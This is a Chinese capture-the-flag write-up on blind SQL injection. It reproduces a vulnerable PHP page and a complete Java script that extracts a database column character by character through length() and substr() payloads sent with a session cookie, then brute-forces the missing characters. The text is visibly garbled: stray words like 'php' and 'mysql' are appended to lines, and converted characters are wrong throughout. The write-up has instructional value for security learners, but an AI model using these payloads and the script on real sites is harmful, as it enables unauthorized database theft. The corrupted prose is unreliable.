以前在網上見到一個盲注的題目,正好閒來無事,便用java寫了個盲註腳本,並記錄下過程當中的坑php
題目源碼:html
<?php header("Content-Type: text/html;charset=utf-8"); session_start(); require_once 'sql.php'; if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){ echo "您還未登陸,3秒後跳轉到登陸處!"; header("Refresh:3;url=index.php"); exit(); } function inject_check($sql_str) { return preg_match('|\$|', $sql_str); } if ($_COOKIE["PHPSESSID"] == $_SESSION["session"]){ if (inject_check($_GET['id'])){ header("HTTP/1.1 400 Bad Request"); exit('GET 400 Bad Request:/'.$_SERVER['QUERY_STRING']); }else{ $id=$_GET['id']; } mysql_select_db("test",$conn) or exit("DB Select Failure</br>"); $sql="select * from id where id = $id";//注入點 $res=mysql_query($sql,$conn) or exit("DB Query Failure</br>"); $num = mysql_num_rows($res); echo "Return ".$num." rows"; }else{ header("location:index.php"); } ?>
從源碼中來讀能夠發現,SQL語句是直接拼接的,其中只用了正則匹配了$符號java
(但由於比賽的時候沒有源碼,致使我腳本一直沒跑對)mysql
發現訪問頁面後,會返回查詢SQL的返回條數sql
直接返回Return 1 rows,當咱們在後面輸入 and 1=2的時候服務器
返回就變成0條了cookie
能夠初步判斷存在注入,題目又給出了表名和要跑的列名session
利用MySQL的length函數判斷keyword的長度app
select * from id where id = 1 and length((select keyword from id))=13
判斷出keyword的長度爲13,進一步利用substr函數一字符一字符的獲取,並與字典比較函數
當相等時,頁面就會返回Return 1 rows
大概盲注思路出來後,便用java編寫腳本
程序中,放入兩個嵌套循環,一個控制咱們substr獲取的偏移數,另外一個循環控制咱們要對比的字符
閱讀題目源碼的時候發現,頁面會對session和cookie中的username參數作驗證,若是不存在,則會跳轉到登陸頁面
因此訪問的時候還得帶上cookie
腳本源碼以下:
package test; import java.io.BufferedReader; import java.io.FileReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.MalformedURLException; import java.net.URL; import java.net.URLConnection; public class sql { public static void main(String[] args) throws IOException { // TODO Auto-generated method stub BufferedReader in = null; String cookie = "username=admin;PHPSESSID=72nd4r1p9g4o6fqp5hhrri0sh5"; URL url = null; String str = null; for (int i=1;i<14;i++) { String cs=String.valueOf(i); in = new BufferedReader(new FileReader("C:\\Users\\Administrator\\Desktop\\superdic.txt")); while((str = in.readLine()) != null) { String urlPath = "http://localhost/flag.php?id=1%20and%20substr((select%20keyword%20from%20id),"+cs+",1)='"+str+"'";; try { url = new URL(urlPath); } catch (MalformedURLException e) { System.out.println("error:"+cs); } URLConnection conn = url.openConnection(); conn.setRequestProperty("Cookie", cookie); conn.setDoInput(true); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); StringBuilder sb = new StringBuilder(); String line = null; line = br.readLine(); sb.append(line); if("Return 1 rows".equals(sb.toString())) { System.out.println(cs+str); break; } } } in.close(); } }
其中C:\\Users\\Administrator\\Desktop\\superdic.txt中存放的就是咱們要對比的字符字典
運行腳本後發現
程序返回400了
咱們剛纔注入length函數返回的結果明明是13,怎麼這隻跑出來三個字符就結束了(實際上是過濾了)
咱們把字典中的$去掉,接着跑
能夠看到,跑是跑出來了,能夠缺了第4個和第10個字符
因此只能獲得Key?s+P4y?0ad的字符串其中兩個字符未知
既然注入不出來,那我就到提交flag的地方爆破
將咱們剛纔注入的結果寫入
而後抓包
抓包模式必定要選擇Cluster bomb
而後配置好後,開始爆破
爆破發現,無論怎麼查看結果都是錯誤的,Length都是同樣長
後面檢討本身是否是什麼步驟錯了
反覆查看本身的腳本,發現個人腳本去請求服務器的時候會進行一次URL解密
而+號解密的結果正好是空格.....
因此只須要在剛纔爆破的時候把%2B改爲+就能夠了
最後獲得flag: